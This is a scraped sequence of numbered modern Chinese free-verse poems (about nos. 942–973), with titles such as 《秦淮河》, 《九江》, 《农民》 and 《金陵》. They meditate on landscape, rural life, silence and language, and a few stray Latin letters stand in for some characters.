纹丝不动的近义词，他们的身影几乎注入到了 一个边界于苍蝇之亡故不远处的空间的自y感。 每当尘世的感觉由一个个依然自在者如同苍蝇一般的舞动， 言语在如此不可想象之微小， 一边又拷问于我们被此刻的感觉所赐予的体验 在美好，美妙与恐怖之间，犹如平衡的天平。 晚点942 《晚点》 火车晚点。 那唯一的一个准确的时间， 曾经被众多的列车推动着。 从不同的方向，来自不同的 地方，彼此有时间交换着 各自不同的人文地域，沿途风景。 为飘窗者所开这一铁轨上面诗人的时刻， 呵，但之于我和我们，左右 如同刚刚从一场西方舞会上面离开的人们 带着激情和喜悦褪去之后的疲倦， 为在需要休息的时刻的长途旅行 而如同紧闭起来的嗓音之门，正被 诗人们尝试着推开。火车晚点， 火车已经独自在茫茫狂野上面奔驰 一匹飞马被夜色和时间不约而同的遮掩。 为这一隐秘而如果它愈加表现出奔驰的形象， 向着人类，当人苦思冥想， 犹如将悬而未决者，试图解决。 那唯一准确的时间外的一切， 因为晚点而昭然若揭。当时， 在过去，或者它经过了人们校正后 永久守时的保证。为这一从揭示而出者的 那一人类的大厦之g土， 包括了建筑，劳作，自然与非自然的时刻 为这一揭示曾经以异端而与例外相互统称， 在一个夜色里面幽暗的地方被放置。 秦淮河943 《秦淮河》 在上d面前的每个事物都是赤裸的。 包括人在内，但人儿四下的环顾了一圈。 为这寻找作为最后那令人困惑的谜团。 作为最后的一个而犹如过去的，所有 困难所组成无形的壁垒的。 作为人在于群体里面的 牛，马，骡子与驴。作为人的普遍形象 在神圣目光的注视中，应该是那 词于的来自于莫名，而它的内容因此 也逃脱不了因果律的束缚 : 当人类之身体犹如一口 时而暗哑，时而清鸣的琴弦 演奏着，在溪水流淌的旁边。 当我们放下了竖琴，起身 奥秘林荫处走了出来。在我们 眼前舒展开来了我们自己所拥有的 土地，房屋，女眷和家畜。 当这一永远不可发生于人对于词语 首先得优先地位，是声音的舒展于饮食 之后的表达。在空气里面 这些被说出和传唱的哲理， 以无形但方向明晰的方式前进。消散 不会引起我们的惊慌，那只是 故土，我们如今的牛羊。 作为不可言说者的两种不同的形象， 同样也远离开来了以后， 被我们当做了自我辩护之凭据的苦难岁月。 而如果在大地上面的诗章 犹如丛生而繁茂者从化身的树木而来， 我们的命运的喜悦穿过了我们自己， 作为它影子的事物是那些牛羊，家禽和野兽。 伟大的先知亚伯拉罕，同样也会为此而 感到了迷乱。为这一沉默不语于农民， 劳作者的普遍之上。 为这一与大地早已经无疑的时候， 我们寻找和开垦，耕耘与消灭 只为了大地之形象，平坦的纸面。 为这一毫无意外可言上面书写 才可以动笔的悲剧式，喜剧式。 为这一书写作为人之本体而可抵达 于人之不能够的，内心深处的大殿 傍晚太阳垂落时候，我们的内心被 丰富的光线所充满， 我们的眼睛盲目，耳朵失聪。 我们跪在金色的殿堂，口中喃喃自语着 经书上面太过于遥远的遗训。 为这一意外而献出一生的人类 过早的来到了这书写所塑造的 天国的大厅，为这一逻辑而它却 难以言喻，事先的俯身向下， 仿佛那是需要重新破碎和裂开的大地， 为那谷物与果实为假的真理， 我们被要求双手垂立，保持原初的平静， 白云944 《白云》 我们说的是藏， 正如在你眼睛里的事物 以看这悄无声息之时 蚕食于每个，你在生活中看到的。 \/ 所以，你总是为德性的赞歌所z美。 劳作，起身于黎明，一刻不停歇。 而在道德的乌云下面， 在群山顶部那原本白色的云朵漂浮的下面。 \/ 当以云朵这一普同，如 自然的一撇就抛弃了它那洁白的形象。 为在代名词的深处， 我们的世界由一束光再次的照耀 世界，已经为我们所重新建设。 \/ 而我不仅要发出疑问， 为那整日里面的你的忙碌， 这一新的解释 从眼神对于万物的吞噬而来 但在一撇之中我们那依旧存在， 如同恍惚之间失去了意义的行尸走肉般。 嘴唇945 《嘴唇》 请用你嘴唇间被爱意盈满的话语， 来做出，来做出挽留我的尝试吧。 即使炎炎夏日，在同一时间 为热浪所遮掩，接着席卷了 我那被未来判定的残破归宿。 不会更多，而星光，会在白天 过去之后，萤火虫般微弱光明， 萦绕着我那破旧桌子上面，一盏 斑驳的煤油灯盏。我会坐下来， 试着回忆此刻。为过去的一切 所做出的赞歌，犹如过去它那洪流 一般无形奔腾的身躯。给人以伟岸 博大的印象。在流水般形式中 如何才能保持平静存在的模样。 又或者本就是从人类的无知 无觉的本能。我们出于欲望的贪婪， 同样在出来的路程中毫无觉察。 秦淮河946 《秦淮河》 词语中，平静下来。仿佛什么也没有发生过。 仿佛只要白色的纸张并非空白的陈词， 我们便不得将眼前的一切，再次与过去相连。 地上冗余的声音，来自我们，从我们出发， 回到我们的时候，把自身的虚无 一一涂抹在了事物的表面。为不可避免 而同时发生的这一凭证，正是事物自身 需要被涂抹的表面。当它的枝叶，根茎 蒲团般张开花费了好久才形成，向着那 天空而背向大地的开阔。为在这一寓言 所可以对狭义之心灵的容纳，何其相似于 就是我们坦然的走了进去，以冗余的话语 代替客套的居住在了里面。如同谁都不可到达 的每一个我们，提供了我们独一无二，安身立命 于世界的依据。为此，当不同的两种意义 还有那水面微荡的湖泊。被夕阳的暮色斜照 为这一揭露性的永恒时刻，我们才为沉默的诞生 建筑起来了如同大地般平坦的寓所， 当这一不可解释以群体性之姿 垂钓者之闲适的把鱼钩放入湖面 仿佛正准备穿过一个又一个深渊。 夜晚947 《夜晚》 我听到，为消失 这一目的。不远处矮草垛的后面 有喘息的声音。 那声音是回声， 在夜晚的水面激荡起来的 一圈圈波纹正随着声音四散。 而我在心中已为卑微的生命， 所可以抵达这投石于远处的 一场梦幻。为此我停下， 走，由思来代替。 那归来者，眼前已被赐予 美好却空洞无物的称呼。那是 夜晚突然变得比白天更像人类 存在的人世间。沉睡前的困倦 让我们集体保持了沉默。 那些为我们所忽视事物的 残缺的，和单一的部分， 正在流动中，慢慢将因果 都包含在自身之内。 在口述的话语消失之后， 它所以微弱被听到的声响 被制造者本人所于心中 莫名感受到的连续与整体性。 大地948 《大地》 大地， 夜晚的歌曲没有名字。 夜晚的大地之歌 将人类的沉睡从人的生命中暂时分离。 事先梦境已存在在了某个地方 曾经它因为心灵这最后的神秘而 被错误的空址一次次的袭扰。 夜晚静止不动的人， 也是与白天无异，而他的运动轨迹 是白天的延续， 当河边一次浪花的奔腾 倒影在清澈见底的水面 他的心灵之钟受到了长久不能消散的触动。 我们思索到，联想到，为此愁眉不展 我们在解开的谜团后面， 看到了令人失望的情景。 我们为自己不得不漫长的时间， 才可以从字面和遗训， 直到它，那地上生灵之名为我们 所体会。它世俗特征的逝去， 相比于存在更加的困难。 夜晚，海潮侵袭了遥远的内陆 我们说不出什么， 沉默中品尝着咸涩的海水。 我为你们高歌尽管我看不到 你们已经为自己披上的外衣 和面纱下面的容貌。 请你们为困难于思，疲倦于存在， 勇敢于活的宽广， 当这一生灵隐身于夜色之白， 它那为在自身宽阔所已为我们所见者 其中的的生命如此微小， 心中感激于这夜晚隐没一切的恩赐。 浔阳楼949 《浔阳楼》 时代需要一位织布的女子。 我知道，时代里面的 织女坐在破旧巷子深处简陋床榻。 以背影，红烛一般示人 以红烛一般燃烧就快要熄灭的， 改变了我所曾为此言说的准备。 使得我为这清晰的历史逻辑而行走， 为这不可改变实则只情于事实的 真相里面， 以扭转的预期而带着悲戚的忧伤。 火烛灭了，我感到 我的命运也就以贫乏的事实走到了 它，我这干瘦老友的尽头了。 以自身的肤浅，无知和怯懦 那不可测，似是而非和被随口说出 历史中的不公相互如鼓似乐。 为悲歌中前进如同闯入者的人儿， 一大群。有男有女， 当下被匆匆交代，具有易逝特征。 这本质，为东方人供出了许许多多的 苦难。为此而当下存在者的 难以言说。 在织女，那代表了他不幸命运的妻子那里。 许诺活在他的死亡里面， 为他的英勇与莽夫而沉默的赞美。 为明日的孤贫者们送来凉爽的黎明， 为黑a独自于她自己的所属如同文字和语言。 因此，也只有起身而如同在他那死亡 之中的再次揭g而q。 为此，我靠近，第一次 不为你我他之间的南北方之区分。 为一棵热切的心灵的证明也是之后的事情。 我们各自未来的命运，今 只为了一位善良的织女， 为天下良善者的母亲和普世之乐理， 在你因为酒醉而没有将该说完的表露 提笔写就，那龙蛇的字迹 闪电之后，大雨之前， 所有象形文字中 那些以言说的形式中，确确实实存在 而从言说回头到达沉默者的空间。 农民950 《农民》 画家，消失了。 他想要画的在透明的天空， 和槐树的顶端更高的位置 交换般的展现。 他想要画的是消失， 他于是不得不站在低 一层的湿滑的台阶 身子尽量下蹲。好积蓄反驳的力量。 但他失败的那么惨，微不足道， 当一切如预期一样的发生， 但消失中残余的一小块黑云， 却有着自身与画图无关的含义。 云彩逆风飘动，无法形成云雨。 云彩在即将形成与快要失去之间， 作为黑色的，微小的一小块， 作为目光为之而寻找于多的， 一次次的擦肩而过却也曾深入到它 内部与表面的具体。 云彩耗尽了城里人的一生， 当他为这不可解释于画者自我生命 如同垂暮一般， 犹如暮色对于尚且年轻所偶尔的迷惘， 从图画的边界，那自然降生的农民职业中 渐渐消逝的惨淡的地平线那里。 九江951 《九江》 生了炉子，起了火焰 为火焰的昌盛仅就 只是它自己， 也只是它自己的形象在不久之后 语言的表达的双重于自己与温暖予人之间。 \/ 不为此，而为此 而因果和事故又有着什么， 有关于未来的区别和不同呢， 你一说话，我就有了危险， 我关闭了孤独者的垂思中泛滥的 忧虑，我只为未来担忧的 停留于生灵忍饥挨饿，贪酒推杯的 德性的公理上面。上面白色的沙发。 \/ 我只为看和作为那 观望的被给予奖赏。 我只为幸福的此刻是它的本质， 只为了祛除时间作为不必要者的 一支舟楫从接下来， 火焰这比之于拟人却不予这回赠的回应中 如同过去的一支焰火正被 现在的这一支熊熊燃烧。 为这一愈演愈烈的过程，而 是从木柴，到燃烧，再次的成为了 两端是丛林和人类世界的木柴。 \/ 为此，那火焰在自己体内燃烧着的这一端点， 开始变得过分谨慎的看着， 那一它性格之外太过于不同而因此 可推断为冷静的另一木柴之端点。 为此这中间如有一条大河， \/ 为这一窝被馈赠于看， 当看本身清纯， 支流汇入干流， 那大河为摈弃于狭小而给出了 流域的解释， 为这一遥远而来的陌生的燃烧， 我是指的这个，其中包括着美好 和对于熟悉的点燃般的吟唱的 行动最开始的准备形式。 九江952 《九江》 一定是有什么遗忘，如 就是快要在下一刻里面 仿佛我们是它实体一般的倒影了。 为此在言语和语言的微小差异中， 宇宙或者心有灵犀于短暂失去的间隙。 那被我们感知为不必向着外面， 不必有过多张罗的行为。 不必。而这不必的界限外面 如同产生的已经被看到， 如同世界正以错误的方式 因此执念的愈发想要去表达 一支知更鸟儿。鸟儿， 它因此为因果所牵连， 因此慢慢的开始在了产生出情谊的 室内的枝头。它的两只爪子， 抓的更加的紧。 \/ 我想为没有我所为自我的欢迎 而来的空白一般的杜撰。 我想要为填空题一般的空地 不因为人和人类的共同的一支 梦境的运动， 也不为了他们如同繁星般的倾听， 于小人物这具体的为空地设想和添置的 每一个自我身上， 涂上一层关怀的眼睛。 \/ 我只想为了抛弃者而言称的 都已经一一的实现于它们自己 在真L河畔的动词般上面， 为这一闲适的瘫坐，两个人 都一一共同的静止于运动着的 无处不在于此刻宇宙已经善变为了 我们充盈的心意。为爱，也就为了 过了河流上架设的独木桥，为悲伤 为离别所抬起手看了看天色尚且不晚的时间。 \/ 有时候，世间如同松针一般跌落。 我愿意与你一起在某一个地方 凝视着寻找着我们的人儿而离群索居。 我们因此为人类所制造了 如同天上星群一般的爱意， 烹饪的火焰，之前，我 作为农夫，背上柴刀，从山上带回来木柴 沿着小路回家，放在院子的角落。 妻子，为这一闭气凝神， 事实上愈发的近也就在近距离上面， 为不可寻找到的我们， 使得人类空叹息，在建筑的盲目本质里面 也在星光的同一片天空的世界之不可想象下面。 \/ 我为了叫出你的旧日名字 而学习重新的认识自我。 河流为木桌，我想起你的过去 与未来重叠，想起你迷人的微笑 应该关乎于全人类的意义， 使得我从对此，如今以对那过去的 以诺言谓之。 窗外953 《窗外》 它自己， 或许是它那声音产生 在夜晚有了另一个源泉 但暮色的误解的雾气，已经开始 以黑色的形式开始了蔓延的旅程。 而我，如果臣服于， 如果我已经臣服了这么多的恐惧， 紧张，疲乏从不得不孤独的道路上面 到来，白日里面吟唱在无人的乡间小路。 而如果我在选择之中保持了感激， 谦卑已经越来越存在，像生命天然 却晚来迟的本质。为这，我相信，一切 都是在抒情里面为一切沐浴的成行。 为此，这夜晚的寂寞中的声音已经 越来越少，已经将可以发出声音的事物， 都一一转移到了另外的一个地方，一个 空间。流水上的船舶，来回，往返。 流水这最后的声音却也寓意，花费了 一整夜，却最终以失败告终， 我突发奇想于你的颠倒的本质， 当你从未来而于现在的旅程的形式， 作为流水之声而在于此刻的必然 不绝于流淌形式的绵延不绝。 为这声音于是，你无形的手儿， 穿过窗玻璃，触碰我快要入睡的身体。 为投降于沉默，为了你让出 我别无可做，我这贫乏的肉体 或许是沉默的载体，我也为别的而高歌， 流水之音中渐渐开始有了微不可闻， 仿佛吟诵，为了我可以从沉默走向那， 与之在夜晚为邻的。这一感恩的肉体 已经为自我变幻的不足而依然投身于， 仿佛梦境深处的那一处。 夜晚954 《夜晚》 我遗忘的事物， 在我的突然饮食时， 当它正拟人般的想起了我， 它进而躲避着我。 如果我过分的冷淡， 并非出自于性格的使然。 在性格的黑色天幕上面， 偶然也会存在的几棵位于角落， 盼望有一天去到中心的星星。 而，如果为性格的突然突兀 手脚在寻找之中的旅程上面， 免不了悲叹，担心于陷入命运 不了解决的矛盾中。 而那时候，令人惊异的事情， 以及你和我都在同一个地方 陌生人一般的存在和发生。 为这一你走向那远处流水形式一般的时候， 在这一些远的形式上面， 使得我吟唱，为作为交出者的浅薄 仿佛是我对待沉默时候的选择。 第108章 颗星宿955 《108颗星宿》 如果没有你， 但你已经离开，甚至 表露出来坚决心意的影子了。 你乘车到了外地。 那么，如果没有那一处地方 当言语之无得探索， 在无中重复于从无中来与去的 人类的小心思。 人之小为大者的言语的形式， 最初信以为真姿容猖狂。 为这一悔改，我心中充满了 过去令人倦怠，失败，不堪回首的记忆。 为这一已经越来越像太阳般的恩赐， 当它在失败之洪水与挽留中 确确实实那尚且存在着的一小部分， 无伤大雅的侥幸心理。 为远途者这一普遍的现象， 而重要于那勇气的他们， 波折的风霜还未曾划伤的脸庞。 为此，又一离开者的 曾经于此为长久而来，所做 那短暂的逗留， 为这我呼喊，表达， 为纠正自我的错误。 为那同一个命题， 当天上古已有之的108颗星宿， 也曾以那时尚且破旧的衣袖， 轮流擦拭。为死亡之遥不可及而高歌于 此种行为的种种。 如果没有你的远方将完全的涉及到了 我的失败，我为握紧短暂的胜利而 矢志不渝么，为从它手掌里面变得微小， 为言语所提供如回声般的便利？ 参北斗956 《参北斗》 当词语为物的历史， 不在了那夜晚 夜晚的星宿和暮色已虚幻下去了。 ——在现在， 向昨夜递送一支信笺: 我的快乐在于仅就此，出发。 为从那看起来彼此割接开来 位置上面的事物 是什么使得你那同样固定不变的心灵。 心灵的沉默间隙里面， 有了可容身人儿，行进的幽暗古道。 为这一错误历史的塑造 在与那祛除的费力和困难。 我们的历史，因此嘴唇的边缘 攀爬，摇摇欲坠，以至于最后 坠落。 当时，你与我是两个不同的事物， 是两个不同的人。一z一y， 分立两边。当时， 为它所坠落时见到的我们， 为你作为那仿佛暂时的一个本体， 与自己的言语以语言而不可分割。 \/ 不可停止说者的沉默， 这如此乏味，即使你同样如此， 无关于肯定和否定， 在一个虚幻的位置上面， 向昨夜投递的信件，内容 世界怎可以被我们单纯的昭然若揭呢。 南方957 《南方》 总会有一天，你会有z。 就像是过去的过去， 犹如无形的风弄得凌乱， 那一天，你欣喜，快乐的畅想着 未来该是什么样子。 该是什么迅捷的对于这一欣喜，应答 里你快乐的危险着。 你的全部面容在暮色虚假的本质中 被一点点以美丽的方式淹没。 其中为不可讲述者的内容 而远离开来了人群，人群，人群入睡吧 梦境里面的失败会有悲歌，如同 被我们朝夕期盼的胜利， 慢慢的正由一支零散掉落的进攻号角来吹奏。 当我从这普S般的梦幻，来裹紧了自己 破旧的衣裳，接着想说爱你的 付诸于你正在此刻所经历的泥沼的身体。 如果，你并不是慢慢的下沉向我的身体 如果我的梦比之于现实，更加的破碎。 如果你，作为从此，曾试图离开的亲近之人， 为这暮色将一切掩埋的， 包括了你的青春，你的爱情， 你情窦初开在农耕民族悲痛上的时节。 你有时候是花香，夜蝶 为我这失语而恬静的倾听的那么一个人儿。 窗外958 《窗外》 你还没有做出决定， 你的决定已因此变得轻微。 但是在一场无物之中 所悄然进行的明证， 如此的婉约，仕女一般的 含蓄的形容词。 过去和明日在忧伤之心灵里面 的，借着一盏破旧灯盏的结合。 如今是它那快要经不起风吹日晒而 远遁的形容，修饰之词语的 妙用。 每当我推开了窗， 为这渡河而来的伟大的逻辑而惊叹， 并且是在于我如同寓于一般的屋舍而 自我鸣钟于同样封闭的内心呢。 但世界已经如此的爱惜于我的 推开了窗户的延续， 如此，你，便是我熟悉的一个人。 如此，伟大的逻辑在江河湖海上面布告着 为一切诗歌的言说所朝向读书识字之人 好来在他们之中 重新的的将你理清。 而我依旧怯懦于言语无辜的悲歌， 但仅仅就在于它如此简陋的从自身 源自于历史微不足道的形式上面 一支贫苦的歌子 ————使得你站在那里沉默的 是更深处贫穷的本质。 为这一安放者我与你同样的悲叹， 在空无之于仕女， 仕女之于你， 门外的山丘缄默， 漂浮于错误的，是那 自于未来的钟情十月的声音。 农民959 《农民》 谁， 把农夫，筑路工人，开矿的姥爷，回家的建筑工。 作为抛弃在一边而在于其中者的 美丽的困难，又微小于他如此突然的动作。 \/ 谁停下来，重新开始那文字的 制造， 发明。 \/ 比如为这时代所依旧存有的哀伤和不幸， 生活在抚摸掉了最上面的那一层之后才可以存在。 在令人哑然颜色中的这一单纯流逝的时机， 之匆匆， 像是在旧有之上面的新， 为误解而来覆盖的形式。 农民960 农民 《农民》 我臣服于你是一支声音迥异的歌子， 为着它那飘荡而在于自己之中 消耗，我依然分出了因此， 可称之注意力和关怀的目光。 \/ 当从农民的身份 你有了别的打算， 你把未来的事情，和事情的繁多。 都暂时的打包放进了农民这个口袋。 思想， 只是在于土地和农民，这一事先被给定 含混的同一上面的移动。 为避开过去那喜欢用黄褐色的牙齿， 笑呵呵着给异乡人递香烟的传统。 你在如此亲昵之中偶然也是一个，补锅匠。 哪怕偶然与例外你是深知的。偶然， 无伤大雅。让群体的农民只会更早 越过了雨水的不来而在对梦的注释 中，提前看到收获的情景。 想要再次看自己入梦的人儿笑吟吟的， 靠近你，且让不懂得天长地久 会在词语之中变形的他们 才可以为你递迢，农村香烟般袅袅，言语上升。 我也低低吟诵着雨水会来的言语， 步行，走在石桥上。 这一短暂的事件因为你而一再更改， 全然为幸福而做出，准备的全部于幸福 就是这个样子。所以 同样有短暂的对话， 需要合符农村人的标准和形象， 为从麦子里面取栗， 从冻伤的手再回到夏天的那一处。 为在心弦上的这一彼此有共同的知的形象， 慢慢的也开始了麻木， 不可避免，为可疑而永葆青春。 仿佛为香烟的农村般袅袅， 所有翻案的人，不是罪责，沉默和无知 也不为词语有一个原初的含义。 他们行走，锄头扛起，落下， 日升日落便是大河。 流水961 《流水》 语言里面因故它也要动词般美丽， 试图说出自身的语言多么可爱， 仿佛受到了什么斥责而磕磕巴巴。 风，蝉鸣，树木 为它们在轻斥的笑吟吟之后又 迅速保持了静止不动的平静。 才好在事物之内将言语保留， 他们已经听到了，获悉如真理一般。 为此一个又一个面庞被脱出， 仿佛刚刚才经历了一场容易被遗忘的事故。 而那是运动着的他们 风，蝉鸣，树木有了不同的形式。 为此，这一为言说者所面临着的 红，已经开始从它那脸庞到了更深处。 尚且未入夜， 它就有可能将那流水和盘托出。 为自然界而如此努力的流水， 从山涧开始日夜不停的奔流。 这一获悉在于它不变的形式上面， 谁又能说，言语因易逝而思想 一同被赦免于无罪，而漂浮的叶子 却与水流互不相识呢。 田野962 《田野》 内心充盈的也叫作事物， 内心有时候微弱的咯噔了一下， 随之而来我们的脚步也 停了下来，匮乏为丰盈的证明 也是要以人在路上行走的方式。 它，在哪里都是一样的。 它，这内心的感觉。 事先就布置下了无形的乐章。 在植物稞茎的后面，我不会寻找什么， 更不会带回来了，用作 对于现在的忽视算作赎罪和歉意的花朵。 况且花朵本身作为那轻轻的一拂 它与荒野同样古老的历史，使得它 已经有了一个相对漫长而言单调的 故事，为我准备着。为我在这重复中 是那言语之中的闸门，挡住的 却是人的不能倒退，人于是喟叹于 流水。像确确实实的会因此有了 一个事件，一个多余的流水的形象， 因此在我们的心里面慢慢的充盈。 我已为这空幻于草木而不是累于这 草木摇摆中躲避着的那一空幻。 作为词这一书写与声音的不同， 作为差异由人来区分开来的这一 交给我们，在未来需要完成的任务。 我重复的说出了它，也可以以 沉默或者无形的方式，我可以 在沉默的岸边看着，包括你在内的 有形，语言，事物等，直到一切事物 统称（于天长地久这一名字， 这偷走光阴的人儿）。 金陵963 《金陵》 我就想这样。如果 帘慕不属于我， 因一个异乡人而牵扯着的 它那紫色的雨水。 只好高挂在天上。 只有，镜子里的夜晚一次次的抚平一切。 脸庞微痒，有人打伞走路， 预见到了那仅祈求一颗雨水的 怎么会随着暮色同样转移呢。 同样令得暮色也心惊担颤起来了。 为此，掀开街边店家的幕帘 你走了走来。在走和来之间 谁又能不被判定呢， 我折断蜡烛取出了火焰， 我为这一位置不同的燃烧而解释， 如同火焰燃烧的噼啪声音 一边在一座城市中回荡，结出了 硕果累累。 一边，蜡烛如树，为脱下它那悲苦的形式 是火焰燃烧着的，低处的它那自己。 有时候它因此似惆怅，或者别的什么。 金陵的雨964 《金陵的雨》 因为雨， 在这已是推迟的处境上面。 它再也不能再继续的推迟， 我们不能苛责于物， 在物体的表面喋喋不休的怒骂不停 像那旧时。 而一切有可能怪罪于时间， 远处的语言是， 大家都一起苍老， 一起进城， 像四散的青蛙。 在命薄上面涂抹以金色者 没有什么不同，在命薄上 没什么不同的涂抹着， 是他以及慢慢的向我绵延的形式呵。 那天空中的大雨， 用力的后退，有时候它在别的事情上面 耽误了时间，迷乱，绽放短暂的光华。 为那首先的一支闪电于下来的不可收回的 叹息，如此的激烈， 使得它那最后于垂思的矛盾， 那用力和后退之间，所恍惚看到 与此有关，又明明不属于此的真L。 流水965 《流水》 对我所做出的判断，进行倒影。 仿佛我所作所为，为一场， 罪责。那是我想要避开之物， 并且扭过头，还想要捂上了耳朵。 在对与错之间。远离开来了， 从我这一始发地的顽固。 以后，就突然开始了你那漂浮在自己 表面流淌的模样。 作为一个物，或已经因为流水而 交易一般的身子离开。对于留下的 影子，当你的心扉思想一般的幽影 在了那被误解为你的暗处， 为你这一习惯于不争也不抢 于这只是人类自我劣习难改。 夜晚漫长，我担心你会走进一个人的内心， 内心深处发现了我， 这对于我更改的进行，现在只是开始 它开端于夜晚的暗云，为诗意的， 充满了侥幸的那一部分会先抵达这诗的形式。 室内966 《内室》 琴弦，直通内室 沉默何其广阔，当它面对着 那对于它边界式提问之中的 思一般徐徐上升上升。如同 被惊扰的，可以琴弦般的 停下了旧日全是赞美的形象。 琴弦在角落，光线幽暗。 从木窗倾斜着洒了进来的光线， 也像是它木质上面某一根。 竖木于室内而为琴之歌者 这也是那过去古已有之的那一个。 确确实实，而我，单单只是 为在那自己作为重复，声音般的 难以说出。为你这因此远去而在于 不会再来的畏惧。那是对于生的 含义的畏。当时，四下无人 我正在一点点的变得无足轻重。 为在于无声之中， 就像沉默的这一个，为了同一 而准备于不可来者的他自己。 琴弦独自享有了一个房间， 一个室内。从室内走向了房间。 院子落满了树叶， 我已经满怀欣喜的把最后的这一 言语上面的错误，而为它准备下来。 农村967 《农村》 沉默，直通室内。 由我说出的沉默是我乡间 那一座破旧的房子。 不可捕捉者的攀爬，以半坡为准。 不可言说者的影子， 竖立了起来。在哪个位置呢， 倒退成为了这树木，枝干坚固的一部分。 为这一最初就因为物而开始的， 树木和青砖瓦房，都能 在与人的关系里面像一场失败于 人心的交易 当勇敢者作为一个 需要在言说里面所重重历经了困难， 千辛万苦。雨水也来自于时间 在过去，现在的语言，和未来的那一场 何其突兀，是一场倾盆中的大雨 要让他把世界这二字以悲观的状态托出。 人其实是大于英雄的， 仅仅就在目光看到了树木和墙壁 在它的这一坍塌之中的它们， 或者这一个整体为物的群体， 寓居于那出于人类怯懦而不去勇敢 被注定的命运。 那最开始的弦音， 唯有它才是自由的，它的来源成了谜。 琴弦968 《琴弦》 琴弦古老于它被我说出的一刻。 那么，何其优美，在那一刻之外的它， 有着悠久，年轻的历史。 有着在优美之姿存于历史唯一准确里面， 对它的描述实则只， 一个情郎儿偷偷的对它的靠近的置换。 我是说，呵，我此刻也在了，那 它的弹奏之中。 我是说是多么勇敢的一件事情， 在优美之上的优美，那么 唯有夜蝶可作为外来的事物呼唤的形式， 天生有翅。将反转之巨大， 事情的真相带来。在夜蝶因此离去， 如同一支悲苦，发生的滞后性。 那苦难的表皮下面，尽是优美它那 美的正美丽着。 为这一被驱逐的言语，这沉默的某一 等待我将其他来说出者。 仿佛为这一对于人的腼腆的身份的 夺取又剥离。是那千年前的书生 怀有着一颗起初不信邪的，单纯的 书籍般的泛黄的心灵。 为此，这故事的边界，一次次 超出了书生，琴弦，妖怪幻化人身的欣喜 甚至不为美丽，当它 恒久于存在的短暂里面，犹如瀑布 一般所对旅途者的敞开。 为关闭这一本质漫长的行程， 使得你我都在了路上。 我的回忆如此不堪，它的重量 也会将头脑的天平压垮。 命运的这一叙述实则为远离琴弦者之名称， 我重复于对于美偶然的获取， 源自于古已有之的空气之轻， 周围萦绕着其他。 池塘969 《池塘》 方向上以南的， 和那更远之处。 如同摇动的水， 因为水洼需要凹陷的土地， 而是了这里。 因为池塘生出了春意， 从这些远的事物， 仿佛超出是来自于他们的模糊 而给予了反驳给我。 当我的内心夹杂着其他的情绪， 它们，作为原初的而最初与内心相互联系。 作为平凡人和贫乏者的这一自然的 感觉，也可以视作了是对于匆匆遗忘 它该是何种在难以回忆中缺乏耐心的形象呢。 为此，南方的水， 悬留于在当地人眼里感到哑然的地方。 在于空处却不会像会落下来的水。 或者，只是它们自己永恒的样子 被怀疑。出于这种必要它们需要被 我，一个北方人设想。 我将走与行的靠近， 因此将在这一错误的事实与本质上面 一并夹杂着的它们。 它们，含混，动词般的美丽 此刻，它们只是表层宁静的水 还没有被新的叫出的时刻， 因此呵，那些本地人在起名后历史之空的 等待里面， 行过了看起来仿佛哲理的古代院落， 栽种着松柏，分立，团聚， 给人以分开了时间感——湖泊与池塘 在不远处，人从那里走进了心里 （这一园林幽所） 天空970 《天空》 当天空没有尽头的， 存在于在我眼睛里。 仿佛我出生就看见了它， 我的世界，以及世界的遗失 在没有意外这种尽力而为的目标 上面，作为一个目标，那些 短暂是瞬息而灭的。如同我 走过一株植物，它生长在路边 随着我移动步伐对于距离的拉近， 消灭，在它体内一直存在着面向 消亡的悲苦。这并不是两个相同， 或者相类似而求助于语言的比喻。 而比喻本身是强加的，面对沉默的 事物，可以打破沉默的人，在如此 这般的展示语言起初为何物。并且 我们自身也畏惧于这种凶猛和野蛮 我们遮掩自身的脆弱，作为一种传统 比之最为普遍和古老，而在了它们之中。 为我提供了寓所，在寓所下这脆弱 肤浅的思。为这一形象如同一棵植物， 路边，一个我我这样无所事事的路人 对它的比喻。作为相互紧密如同一种 被胶水粘合在一起的宿命，当时我在 自己的内心深处气急败坏，无法将两个 事物分开，无法找到什么，想要口干舌燥的 说话。呼吸变得微弱，像从病种刚刚恢复 脸庞充满了蒙昧，蜡黄。 山中971 《山中》 对于贫乏而言说的，说中 所说的孤立起来了。说中 有很多的对象，就像转身 就是从梦境里面熙熙攘攘的集市 摩肩擦踵的有很多人，踩在一个 叫我的脑海里面，转过身 就只剩下一个人。带着人们都 去哪里了的心思转身，作为乐于接受 被谁谁谁，瞧这赋予者的诙谐与幽默 但我愿意在转身之际，仿佛无论现实与 梦幻是对于现实的一种需要， 梦幻中的人儿在每一个自己的梦中 无法相互的交易和交换，他们，包括我 坐在水井和机井的旁边，看够了 水中自己的身影。时机是这样， 但因此我怀疑世界以现实之方式 所赋予我们的矛盾的因果，因此 依然没有结束。和有着难以发现的 尚且未曾完成的真实感 :事先所知道的为何愁容满面， 为何在生上面被死亡的阴影， 它小心翼翼，穿着旧帆布鞋 行过，为我们所言说的自由， 在于描述。小路，桥梁，村镇。 为言说的这一由古通今， 由老及幼的今天的人们， 在众摔而出里面，像安然无恙者 紧闭了它们来自于更高处， 所形成的秘密。为这一亟待破解一般 而使得我所向前，为事先知晓者的 更为的疲乏，倦怠，如同树上的一只 知更鸟。破坏了我，一个庸怠者言语的 遗失，为在其中，它用语言筑巢 精力于此，而屈指可数于呼唤，来自于 和向着别处。它的本质抵不过安居 它有着栖息的身体，应该大过其他。 它像落座于水而观之者的，将人包裹的形象。 金陵972 《金陵》 我就想， 我不断的想，万物 靠近，带有着压迫一般的影子。 影子怎么可以更进一步， 那真相因此不是一个人 的卑微在异乡那里，被放大的异乡 的街道上面，存在着许多的 兴盛和矛盾，问题。 如果我侧一步身子， 源自于我事出有因， 而面容夹杂着愁容满面， 和仿佛确有其理的坚定 为坚定与顽固的这一不可区分 的肉体，肉体是湖南，湖北，四川 浙江，江苏，Ah，江西。 你去哪里了，你看不到的看向了何物 这来自于四散的美丽同时 招引了一种雾气般的迷途， 仿佛一个异乡人正走向了你。 我想，大体如此，远处的山涧翠绿 遮蔽江水而投身于其荫 言语于繁重者的所分出来了的， 理由，这一包括了所有的形象。 为在准确与恰当里面的七弦琴， 趁着小雨，我听见歌声在街上飘荡 我，一个异乡人，来 烟笼寒水月笼沙之地。 小翠973 《小翠》 醉了，就推开所有的酒。 醉是清醒沿一个内部而来的旅途。 醉的人轻笑于自己难免的严肃， 回声，在人的口腔，食道和胃部 将同一个事物，竟得出了两个 不同名称和结果公布:酒和清醒。 酒水不在此刻，光线眩晕了离席者。 